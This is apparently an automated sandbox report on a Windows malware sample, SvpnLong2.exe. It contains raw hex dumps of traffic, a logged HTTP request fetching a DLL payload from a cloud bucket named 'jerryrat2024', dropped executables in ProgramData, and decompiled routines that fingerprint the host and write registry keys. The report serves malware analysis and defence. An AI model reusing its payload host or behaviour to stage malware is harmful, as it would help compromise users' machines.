2024-07-27 14:57:51 UTC	4096	IN	Data Raw: 18 48 89 47 30 e8 56 aa ff ff 48 8b c8 48 85 c0 0f 84 89 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 38 e8 37 aa ff ff 48 8b c8 48 85 c0 0f 84 75 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 40 e8 18 aa ff ff 48 8b c8 48 85 c0 0f 84 61 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 48 e8 f9 a9 ff ff 48 8b c8 48 85 c0 0f 84 4d 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 50 e8 da a9 ff ff 48 8b c8 48 85 c0 0f 84 b5 01 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 58 48 8d 15 29 c5 01 00 48 c7 c3 ff ff ff ff 48 8b c3 48 ff c0 66 83 3c 42 00 75 f6 44 8b c0 48 8b cf e8 7a eb ff ff 48 8d 15 53 c5 01 00 48 8b c3 48 ff c0 66 83 3c 42 00 75 f6 44 8b c0 48 8d 4f 08 e8 5a eb ff ff 48 8d 15 8b c5 01 00 48 8b c3 48 ff c0 66 83 3c 42 00 75 f6 44 8b c0 48 8d Data Ascii: HG0VHHHPHHG87HHuHPHHG@HHaHPHHGHHHMHPHHGPHHHPHHGXH)HHHf<BuDHzHSHHf<BuDHOZHHHf<BuDH
2024-07-27 14:57:51 UTC	4096	IN	Data Raw: 00 cc e8 19 20 00 00 cc e8 2f aa 00 00 cc cc cc 48 89 4c 24 08 57 41 56 41 57 48 83 ec 40 48 c7 44 24 30 fe ff ff ff 48 89 5c 24 68 48 89 6c 24 70 48 89 74 24 78 4c 8b f2 48 8b d9 e8 1f 9a ff ff 48 8b c8 48 85 c0 0f 84 27 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 03 33 f6 8d 6e ff 4d 85 f6 0f 84 9e 01 00 00 33 d2 49 81 fe 00 00 01 00 0f 83 15 01 00 00 41 0f b7 ee 48 8d 0d 1e b8 02 00 e8 6d 58 00 00 48 8b f8 41 bf 01 00 00 00 41 8b f7 48 85 c0 0f 84 b1 01 00 00 44 8b f5 49 c1 ee 04 0f 1f 40 00 66 0f 1f 84 00 00 00 00 00 45 33 c9 4d 8d 46 01 41 8d 51 06 48 8b cf ff 15 34 a6 01 00 48 85 c0 74 13 44 8b c5 48 8b d0 48 8b cf e8 39 ea ff ff 48 85 c0 75 1e 8b d6 48 8d 0d bb b7 02 00 e8 0a 58 00 00 48 8b f8 ff c6 48 85 c0 0f 84 55 01 00 00 eb b6 48 85 ff 0f 84 Data Ascii: /HL$WAVAWH@HD$0H\$hHl$pHt$xLHHH'HPHH3nM3IAHmXHAAHDI@fE3MFAQH4HtDHH9HuHXHHUH
2024-07-27 14:57:51 UTC	4096	IN	Data Raw: 06 00 00 e8 58 8a ff ff 48 8b c8 48 85 c0 0f 84 4b 06 00 00 48 8b 00 ff 50 18 48 8d 58 18 48 89 5d df 48 8d 55 f3 48 8b 7d f7 48 8b cf ff 15 3d 97 01 00 8b f0 89 45 ef 49 c7 c4 ff ff ff ff 83 f8 ff 75 10 e8 07 9d ff ff 85 c0 0f 88 b1 01 00 00 8b 75 ef 44 3b fe 41 0f 42 f7 85 f6 0f 88 07 06 00 00 44 2b 73 f8 8b 43 f4 2b c6 41 0b c6 7d 0f 8b d6 48 8d 4d df e8 44 0c 00 00 48 8b 5d df 45 33 f6 44 89 75 6f 4c 89 74 24 20 4c 8d 4d 6f 44 8b c6 48 8b d3 48 8b cf ff 15 d9 96 01 00 85 c0 0f 85 52 01 00 00 e8 a4 9c ff ff 85 c0 0f 88 4e 01 00 00 48 85 ff 74 0d 48 8b cf ff 15 be 96 01 00 4c 89 75 f7 4d 89 75 10 49 8b c5 49 83 7d 18 08 72 04 49 8b 45 00 66 44 89 30 85 f6 0f 84 19 05 00 00 41 be 02 00 00 00 41 bd 0a 00 00 00 45 8d 7d 31 41 8d 55 16 45 8d 45 44 48 8d 4d Data Ascii: XHHKHPHXH]HUH}H=EIuuD;ABD+sC+A}HMDH]E3DuoLt$ LMoDHHRNHtHLuMuII}rIEfD0AAE}1AUEEDHM
2024-07-27 14:57:51 UTC	4096	IN	Data Raw: 48 8b 74 24 30 48 8b 5c 24 40 48 83 c4 20 5d c3 48 83 ec 28 b9 0e 00 07 80 e8 62 8d ff ff cc cc 48 83 ec 28 48 8d 0d 75 9a 01 00 e8 08 43 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 56 57 41 54 41 56 41 57 48 83 ec 20 48 8b 69 18 49 8b f0 4c 8b 71 10 48 8b c5 49 2b c6 4c 8b e2 48 8b d9 4c 3b c0 77 2c 4f 8d 3c 06 48 8b f9 4c 89 79 10 48 83 fd 08 72 03 48 8b 39 4d 03 c0 4a 8d 0c 77 e8 ee 5d 00 00 33 c0 66 42 89 04 7f e9 f0 00 00 00 48 bf fe ff ff ff ff ff ff 7f 48 8b c7 49 2b c6 48 3b c6 0f 82 f7 00 00 00 4c 89 6c 24 50 4f 8d 2c 06 49 8b cd 48 83 c9 07 48 3b cf 77 1f 48 8b d5 48 8b c7 48 d1 ea 48 2b c2 48 3b e8 77 0e 48 8d 04 2a 48 8b f9 48 3b c8 48 0f 42 f8 48 8d 57 01 48 8b cb e8 89 7b ff ff 48 03 f6 4c 89 6b 10 48 Data Ascii: Ht$0H\$@H ]H(bH(HuCH\$Hl$VWATAVAWH HiILqHI+LHL;w,O<HLyHrH9MJw]3fBHHI+H;Ll$PO,IHH;wHHHH+H;wH*HH;HBHWH{HLkH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	39.97.203.118	443	7308	C:\Users\user\Desktop\SvpnLong2.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-27 14:57:54 UTC	105	OUT	GET /arphaDump64.dll HTTP/1.1 Connection: Keep-Alive Host: jerryrat2024.oss-cn-beijing.aliyuncs.com
2024-07-27 14:57:55 UTC	563	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sat, 27 Jul 2024 14:57:55 GMT Content-Type: application/octet-stream Content-Length: 2199488 Connection: close x-oss-request-id: 66A50AF35B40CC3035BCCEF7 Accept-Ranges: bytes ETag: "5D165E30CDB59FDCCBD2ACE554EF3DF7" Last-Modified: Sun, 21 Jul 2024 04:01:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10738669038091672703 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: XRZeMM21n9zL0qzlVO899w== x-oss-server-time: 12
2024-07-27 14:57:55 UTC	3533	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c7 68 2d 29 83 09 43 7a 83 09 43 7a 83 09 43 7a 9d 5b c7 7a a6 09 43 7a 9d 5b c0 7a c4 09 43 7a 9d 5b d6 7a 89 09 43 7a a4 cf 38 7a 80 09 43 7a 83 09 42 7a cd 09 43 7a 9d 5b c9 7a 80 09 43 7a 9d 5b d1 7a 82 09 43 7a 9d 5b d2 7a 82 09 43 7a 52 69 63 68 83 09 43 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 23 83 9c 66 00 00 00 00 00 00 00 00 f0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$h-)CzCzCz[zCz[zCz[zCz8zCzBzCz[zCz[zCz[zCzRichCzPEd#f"
2024-07-27 14:57:55 UTC	4096	IN	Data Raw: ff ff 8b 0d fb c7 00 00 48 8b d0 ff 15 42 86 00 00 48 8b cb 85 c0 74 16 33 d2 e8 20 0f 00 00 ff 15 26 86 00 00 48 83 4b 08 ff 89 03 eb 16 e8 a8 04 00 00 e9 f4 fe ff ff 83 fa 03 75 07 33 c9 e8 8f 11 00 00 b8 01 00 00 00 48 83 c4 20 5b c3 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 41 54 48 83 ec 30 49 8b f0 8b da 4c 8b e1 b8 01 00 00 00 85 d2 75 0f 39 15 f8 d6 00 00 75 07 33 c0 e9 cd 00 00 00 83 fa 01 74 05 83 fa 02 75 30 4c 8b 0d 66 88 00 00 4d 85 c9 74 07 41 ff d1 89 44 24 20 85 c0 74 11 4c 8b c6 8b d3 49 8b cc e8 61 fe ff ff 89 44 24 20 85 c0 0f 84 93 00 00 00 4c 8b c6 8b d3 49 8b cc e8 f8 f8 ff ff 8b f8 89 44 24 20 83 fb 01 75 35 85 c0 75 31 4c 8b c6 33 d2 49 8b cc e8 dc f8 ff ff 4c 8b c6 33 d2 49 8b cc e8 1f fe ff ff 4c 8b 1d 00 88 00 00 4d 85 db 74 Data Ascii: HBHt3 &HKu3H [H\$Ht$H\|$ATH0ILu9u3tu0LfMtAD$ tLIaD$ LID$ u5u1L3IL3ILMt
2024-07-27 14:57:55 UTC	4096	IN	Data Raw: 76 00 00 8b 0d fa b7 00 00 8b f8 ff 15 ca 76 00 00 48 8b d8 48 85 c0 75 48 8d 48 01 ba c8 02 00 00 e8 dd 02 00 00 48 8b d8 48 85 c0 74 33 8b 0d cf b7 00 00 48 8b d0 ff 15 16 76 00 00 48 8b cb 85 c0 74 16 33 d2 e8 f4 fe ff ff ff 15 fa 75 00 00 48 83 4b 08 ff 89 03 eb 07 e8 7c f4 ff ff 33 db 8b cf ff 15 82 76 00 00 48 8b c3 48 8b 5c 24 30 48 83 c4 20 5f c3 40 53 48 83 ec 20 e8 71 ff ff ff 48 8b d8 48 85 c0 75 08 8d 48 10 e8 7d 03 00 00 48 8b c3 48 83 c4 20 5b c3 48 85 c9 0f 84 2b 01 00 00 48 89 5c 24 10 57 48 83 ec 20 48 8b d9 48 8b 49 38 48 85 c9 74 05 e8 1c f4 ff ff 48 8b 4b 48 48 85 c9 74 05 e8 0e f4 ff ff 48 8b 4b 58 48 85 c9 74 05 e8 00 f4 ff ff 48 8b 4b 68 48 85 c9 74 05 e8 f2 f3 ff ff 48 8b 4b 70 48 85 c9 74 05 e8 e4 f3 ff ff 48 8b 4b 78 48 85 c9 74 Data Ascii: vvHHuHHHHt3HvHt3uHK\|3vHH\$0H _@SH qHHuH}HH [H+H\$WH HHI8HtHKHHtHKXHtHKhHtHKpHtHKxHt
2024-07-27 14:57:56 UTC	4096	IN	Data Raw: 41 48 8b cd e8 8e f2 ff ff 48 8b f0 49 3b c4 74 31 4c 89 64 24 38 4c 89 64 24 30 44 8d 4f 01 4c 8b c3 33 d2 33 c9 89 6c 24 28 48 89 44 24 20 ff 15 26 67 00 00 41 3b c4 75 0b 48 8b ce e8 99 e4 ff ff 49 8b f4 48 8b cb ff 15 05 67 00 00 48 8b c6 eb 73 3b ce 74 09 41 3b cc 0f 85 4c ff ff ff ff 15 e5 66 00 00 48 8b d8 49 3b c4 0f 84 3a ff ff ff 44 38 20 74 10 48 ff c0 44 38 20 75 f8 48 ff c0 44 38 20 75 f0 2b c3 ff c0 48 63 f0 48 8b ce e8 01 f2 ff ff 48 8b f8 49 3b c4 75 0e 48 8b cb ff 15 9c 66 00 00 e9 00 ff ff ff 4c 8b c6 48 8b d3 48 8b c8 e8 79 e5 ff ff 48 8b cb ff 15 80 66 00 00 48 8b c7 48 8b 5c 24 50 48 8b 6c 24 58 48 8b 74 24 60 48 8b 7c 24 68 48 83 c4 40 41 5c c3 cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8d 1d 97 86 00 00 48 8d 3d 90 86 00 00 eb 0e 48 8b Data Ascii: AHHI;t1Ld$8Ld$0DOL33l$(HD$ &gA;uHIHgHs;tA;LfHI;:D8 tHD8 uHD8 u+HcHHI;uHfLHHyHfHH\$PHl$XHt$`H\|$hH@A\H\$WH HH=H
2024-07-27 14:57:56 UTC	4096	IN	Data Raw: c3 72 f5 8a 44 24 56 c6 44 24 70 20 48 8d 7c 24 56 eb 29 0f b6 57 01 44 0f b6 c0 44 3b c2 77 16 41 2b d0 49 8b c0 4a 8d 4c 04 70 44 8d 42 01 b2 20 e8 fd d4 ff ff 48 83 c7 02 8a 07 84 c0 75 d3 8b 46 0c 83 64 24 38 00 4c 8d 44 24 70 89 44 24 30 8b 46 04 44 8b cb 89 44 24 28 48 8d 84 24 70 03 00 00 ba 01 00 00 00 33 c9 48 89 44 24 20 e8 63 18 00 00 83 64 24 40 00 8b 46 04 8b 56 0c 89 44 24 38 48 8d 84 24 70 01 00 00 89 5c 24 30 48 89 44 24 28 4c 8d 4c 24 70 44 8b c3 33 c9 89 5c 24 20 e8 c4 1e 00 00 83 64 24 40 00 8b 46 04 8b 56 0c 89 44 24 38 48 8d 84 24 70 02 00 00 89 5c 24 30 48 89 44 24 28 4c 8d 4c 24 70 41 b8 00 02 00 00 33 c9 89 5c 24 20 e8 8e 1e 00 00 4c 8d 9c 24 70 03 00 00 48 8d 4e 1d 33 d2 41 f6 03 01 74 0c 80 09 10 8a 84 14 70 01 00 00 eb 10 41 f6 Data Ascii: rD$VD$p H\|$V)WDD;wA+IJLpDB HuFd$8LD$pD$0FDD$(H$p3HD$ cd$@FVD$8H$p\$0HD$(LL$pD3\$ d$@FVD$8H$p\$0HD$(LL$pA3\$ L$pHN3AtpA
2024-07-27 14:57:56 UTC	4096	IN	Data Raw: 06 0f ba ed 15 eb 3e 48 8b 0d ed a4 00 00 48 3b cf 74 32 e8 f3 ce ff ff 48 85 c0 74 28 ff d0 48 8b d8 48 85 c0 74 1e 48 8b 0d d5 a4 00 00 48 3b cf 74 12 e8 d3 ce ff ff 48 85 c0 74 08 48 8b cb ff d0 48 8b d8 48 8b 0d a7 a4 00 00 e8 ba ce ff ff 48 85 c0 74 10 44 8b cd 4d 8b c5 49 8b d6 48 8b cb ff d0 eb 02 33 c0 48 8b 5c 24 70 48 8b 6c 24 78 48 83 c4 40 41 5e 41 5d 41 5c 5f 5e c3 40 53 48 83 ec 30 4c 8b c9 48 85 c9 74 0d 48 85 d2 74 08 4d 85 c0 75 2c 44 88 01 e8 c8 ca ff ff bb 16 00 00 00 48 83 64 24 20 00 45 33 c9 45 33 c0 33 d2 33 c9 89 18 e8 dc c9 ff ff 8b c3 48 83 c4 30 5b c3 80 39 00 74 09 48 ff c1 48 83 ea 01 75 f2 48 85 d2 75 05 41 88 11 eb bf 41 8a 00 49 ff c0 88 01 48 ff c1 84 c0 74 06 48 83 ea 01 75 eb 48 85 d2 75 0f 41 88 11 e8 6a ca ff ff bb 22 Data Ascii: >HH;t2Ht(HHtHH;tHtHHHHtDMIH3H\$pHl$xH@A^A]A\_^@SH0LHtHtMu,DHd$ E3E333H0[9tHHuHuAAIHtHuHuAj"
2024-07-27 14:57:56 UTC	4096	IN	Data Raw: c3 cc cc b9 02 00 00 00 e9 02 c4 ff ff cc cc 48 81 ec a8 05 00 00 f6 05 46 85 00 00 01 74 0a b9 0a 00 00 00 e8 ea d5 ff ff e8 fd ea ff ff 48 85 c0 74 0a b9 16 00 00 00 e8 fa ea ff ff f6 05 1f 85 00 00 02 74 5f 48 8d 8c 24 d0 00 00 00 ff 15 47 36 00 00 48 8d 4c 24 30 33 d2 41 b8 98 00 00 00 e8 cd b4 ff ff 48 8b 84 24 a8 05 00 00 33 c9 48 89 44 24 40 48 8d 44 24 30 c7 44 24 30 15 00 00 40 48 89 44 24 20 48 8d 84 24 d0 00 00 00 48 89 44 24 28 ff 15 e1 35 00 00 48 8d 4c 24 20 ff 15 ce 35 00 00 b9 03 00 00 00 e8 a8 c6 ff ff cc cc cc cc 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 54 41 55 41 56 48 83 ec 50 4c 8b f2 48 8b d1 48 8d 48 c8 45 8b e1 4d 8b e8 e8 6a e1 ff ff 4d 85 ed 74 04 4d 89 75 00 4d 85 f6 75 2a e8 6f ba ff ff 48 83 64 24 20 00 45 Data Ascii: HFtHtt_H$G6HL$03AH$3HD$@HD$0D$0@HD$ H$HD$(5HL$ 5HHXHhHpHx ATAUAVHPLHHHEMjMtMuMu*oHd$ E
2024-07-27 14:57:56 UTC	4096	IN	Data Raw: e8 9a f8 ff ff 48 8b f0 48 63 47 04 48 03 f0 eb 03 48 8b f3 e8 9e f8 ff ff 4c 8b d8 48 63 45 04 4c 03 d8 49 3b f3 74 3b 39 5f 04 74 11 e8 6d f8 ff ff 48 8b f0 48 63 47 04 48 03 f0 eb 03 48 8b f3 e8 71 f8 ff ff 48 8d 4e 10 4c 8b d8 48 63 45 04 49 8d 54 03 10 e8 b8 ab ff ff 3b c3 74 04 33 c0 eb 3c b0 02 84 45 00 74 05 f6 07 08 74 27 41 f6 04 24 01 74 05 f6 07 01 74 1b 41 f6 04 24 04 74 05 f6 07 04 74 0f 41 84 04 24 74 04 84 07 74 05 bb 01 00 00 00 8b c3 eb 05 b8 01 00 00 00 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 8b 7c 24 48 48 83 c4 20 41 5c c3 cc 48 83 ec 28 48 8b 01 81 38 4d 4f 43 e0 74 1a 81 38 63 73 6d e0 75 2b e8 a0 af ff ff 83 a0 00 01 00 00 00 e8 c4 d9 ff ff cc e8 8e af ff ff 83 b8 00 01 00 00 00 7e 0b e8 80 af ff ff ff 88 00 01 00 00 33 c0 Data Ascii: HHcGHHLHcELI;t;9_tmHHcGHHqHNLHcEIT;t3<Ett'A$ttA$ttA$ttH\$0Hl$8Ht$@H\|$HH A\H(H8MOCt8csmu+~3
2024-07-27 14:57:56 UTC	4096	IN	Data Raw: ff 45 33 ff eb 10 44 8a b4 24 e0 00 00 00 4c 8b a4 24 e8 00 00 00 8b 44 24 68 8b 4c 24 64 ff c1 48 83 c5 14 89 4c 24 64 3b c8 0f 82 c7 fe ff ff 45 3a f7 0f 85 a0 00 00 00 8b 03 25 ff ff ff 1f 3d 21 05 93 19 0f 82 8e 00 00 00 8b 73 20 41 3b f7 74 0d 48 63 f6 e8 44 e8 ff ff 48 03 c6 eb 03 49 8b c7 49 3b c7 74 71 41 3b f7 74 11 e8 2d e8 ff ff 48 8b d0 48 63 43 20 48 03 d0 eb 03 49 8b d7 48 8b cf e8 7a f2 ff ff 41 3a c7 75 4b 4c 8d 8c 24 e0 00 00 00 4c 8b c3 49 8b d5 49 8b cc e8 0f e7 ff ff 8a 8c 24 08 01 00 00 4c 8b 84 24 f0 00 00 00 88 4c 24 40 4c 89 6c 24 38 48 89 5c 24 30 83 4c 24 28 ff 4c 8b c8 48 8b d7 49 8b cc 4c 89 7c 24 20 e8 5a ec ff ff e8 99 9f ff ff 4c 39 b8 08 01 00 00 74 05 e8 df c9 ff ff 48 8b 9c 24 f8 00 00 00 48 81 c4 a0 00 00 00 41 5f 41 5e Data Ascii: E3D$L$D$hL$dHL$d;E:%=!s A;tHcDHII;tqA;t-HHcC HIHzA:uKL$LII$L$L$@Ll$8H\$0L$(LHIL\|$ ZL9tH$HA_A^
2024-07-27 14:57:56 UTC	4096	IN	Data Raw: 6c 6c 4d 61 69 6e 2e 0d 0a 00 00 52 36 30 33 32 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 6c 6f 63 61 6c 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0d 0a 00 00 00 00 00 00 52 36 30 33 31 0d 0a 2d 20 41 74 74 65 6d 70 74 20 74 6f 20 69 6e 69 74 69 61 6c 69 7a 65 20 74 68 65 20 43 52 54 20 6d 6f 72 65 20 74 68 61 6e 20 6f 6e 63 65 2e 0a 54 68 69 73 20 69 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 00 00 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 69 6e 69 74 69 61 6c 69 7a 65 20 68 65 61 70 0d 0a 00 00 00 00 52 36 30 32 37 0d 0a 2d 20 6e 6f 74 Data Ascii: llMain.R6032- not enough space for locale informationR6031- Attempt to initialize the CRT more than once.This indicates a bug in your application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not

Target ID:	0
Start time:	10:57:37
Start date:	27/07/2024
Path:	C:\Users\user\Desktop\SvpnLong2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SvpnLong2.exe"
Imagebase:	0x7ff7fc7a0000
File size:	30'057'472 bytes
MD5 hash:	553F06CF08E33D5F59E69A45458D72E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:00:07
Start date:	27/07/2024
Path:	C:\ProgramData\dwgwp\arphaCrashReport64.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\dwgwp\arphaCrashReport64.exe"
Imagebase:	0x7ff73d1c0000
File size:	238'384 bytes
MD5 hash:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:00:15
Start date:	27/07/2024
Path:	C:\ProgramData\dwgwp\arphaCrashReport64.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\dwgwp\arphaCrashReport64.exe"
Imagebase:	0x7ff73d1c0000
File size:	238'384 bytes
MD5 hash:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	98.2%
Signature Coverage:	35.6%
Total number of Nodes:	623
Total number of Limit Nodes:	28

Executed Functions

Function 02143560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02143430: GetCurrentHwProfileA.ADVAPI32 ref: 0214346F
Part of subcall function 02143430: GetComputerNameA.KERNEL32 ref: 021434C5

lstrcat.KERNEL32 ref: 021435C6

Part of subcall function 021521D0: GetComputerNameA.KERNEL32 ref: 0215222B
Part of subcall function 021521D0: lstrcpy.KERNEL32 ref: 02152241
Part of subcall function 021521D0: wsprintfA.USER32 ref: 02152270

GetComputerNameA.KERNEL32 ref: 021435FF
GetCurrentProcessId.KERNEL32 ref: 02143612
LoadLibraryA.KERNEL32 ref: 0214367A
GetProcAddress.KERNEL32 ref: 0214368A
GetUserNameA.ADVAPI32 ref: 02143699
CreateToolhelp32Snapshot.KERNEL32 ref: 02143703
lstrlen.KERNEL32 ref: 02143763
_localtime64.LIBCMT ref: 0214377C
wsprintfA.USER32 ref: 021437B2
GetModuleFileNameA.KERNEL32 ref: 0214383C

Strings

Remark, xrefs: 021435D4
driver, xrefs: 02143842
GetU, xrefs: 02143629
2, xrefs: 02143621
2, xrefs: 021435CC
%d-%d-%d %d:%d, xrefs: 021437A8
pi32, xrefs: 02143658
Adva, xrefs: 0214364E
ameA, xrefs: 0214363D
Group, xrefs: 021437DD, 021437FC
.dll, xrefs: 02143662
run, xrefs: 02143857
serN, xrefs: 02143633
Time, xrefs: 02143751, 021437BB

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Name$Computer$Currentwsprintf$AddressCreateFileLibraryLoadModuleProcProcessProfileSnapshotToolhelp32User_localtime64lstrcatlstrcpylstrlen
String ID: %d-%d-%d %d:%d$.dll$2$2$Adva$GetU$Group$Remark$Time$ameA$driver$pi32$run$serN
API String ID: 2203227563-3218832578
Opcode ID: f64c43a7f80f136b991b388f7684d45582f6796194fca725e2e9eec03e92c8a0
Instruction ID: ddff8887606b7189021a13b5a432747d8e0f8ac884e775f3f96ecdfef1cc2c64
Opcode Fuzzy Hash: f64c43a7f80f136b991b388f7684d45582f6796194fca725e2e9eec03e92c8a0
Instruction Fuzzy Hash: A49192322446C08AE720EF34E8583DE7761F7547A4F944266DA6D4BAE8DF78C649CB40

Function 021417D0 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 112
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 02141806
GetProcAddress.KERNEL32 ref: 02141819
GetProcAddress.KERNEL32 ref: 0214182E
GetProcAddress.KERNEL32 ref: 02141841
GetProcAddress.KERNEL32 ref: 02141851
GetProcAddress.KERNEL32 ref: 02141861
GetProcAddress.KERNEL32 ref: 02141876
RegCreateKeyExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0215219F), ref: 021418B9
RegOpenKeyExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0215219F), ref: 021418E2
RegSetValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0215219F), ref: 02141913
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,Time,0215219F), ref: 0214192A
RegSetValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0215219F), ref: 02141949
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0215219F), ref: 0214195D
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,Time,0215219F), ref: 02141970

Strings

RegDeleteValueA, xrefs: 02141847
RegCloseKey, xrefs: 0214186C
RegCreateKeyExA, xrefs: 0214180F
ADVAPI32.dll, xrefs: 021417FF
RegSetValueExA, xrefs: 02141824
?, xrefs: 0214189D
RegOpenKeyExA, xrefs: 02141857
RegDeleteKeyA, xrefs: 02141837
Time, xrefs: 021417DF

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$LibraryValue$CloseCreateFreeLoadOpenlstrlen
String ID: ?$ADVAPI32.dll$RegCloseKey$RegCreateKeyExA$RegDeleteKeyA$RegDeleteValueA$RegOpenKeyExA$RegSetValueExA$Time
API String ID: 4166182170-2474000227
Opcode ID: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction ID: a899c01e6c4d7b079b64ebc0284d32cd8fa77a4b4d73f59d5a31d81f05b1e3e9
Opcode Fuzzy Hash: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction Fuzzy Hash: 89412E36319B9596EB608F16F85879EB365F784BD4F404225EE9D43B28DF38C14ACB04

Function 021414C0 Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 174
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 02141546
GetProcAddress.KERNEL32 ref: 02141559
GetProcAddress.KERNEL32 ref: 0214156C
GetProcAddress.KERNEL32 ref: 02141581
GetProcAddress.KERNEL32 ref: 02141591
GetProcAddress.KERNEL32 ref: 021415A1
RegOpenKeyExA.KERNELBASE ref: 021415CC
lstrcpy.KERNEL32 ref: 02141771
RegCloseKey.KERNELBASE ref: 02141783
FreeLibrary.KERNEL32 ref: 02141796

Strings

RegQueryValueExA, xrefs: 0214154F
RegCloseKey, xrefs: 02141597
Remark, xrefs: 021414C0
ADVAPI32.dll, xrefs: 0214153F
RegEnumKeyExA, xrefs: 02141587
RegOpenKeyExA, xrefs: 02141562
RegEnumValueA, xrefs: 02141577
%08X, xrefs: 0214171E

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$Library$CloseFreeLoadOpenlstrcpy
String ID: %08X$ADVAPI32.dll$RegCloseKey$RegEnumKeyExA$RegEnumValueA$RegOpenKeyExA$RegQueryValueExA$Remark
API String ID: 2622296002-4222392007
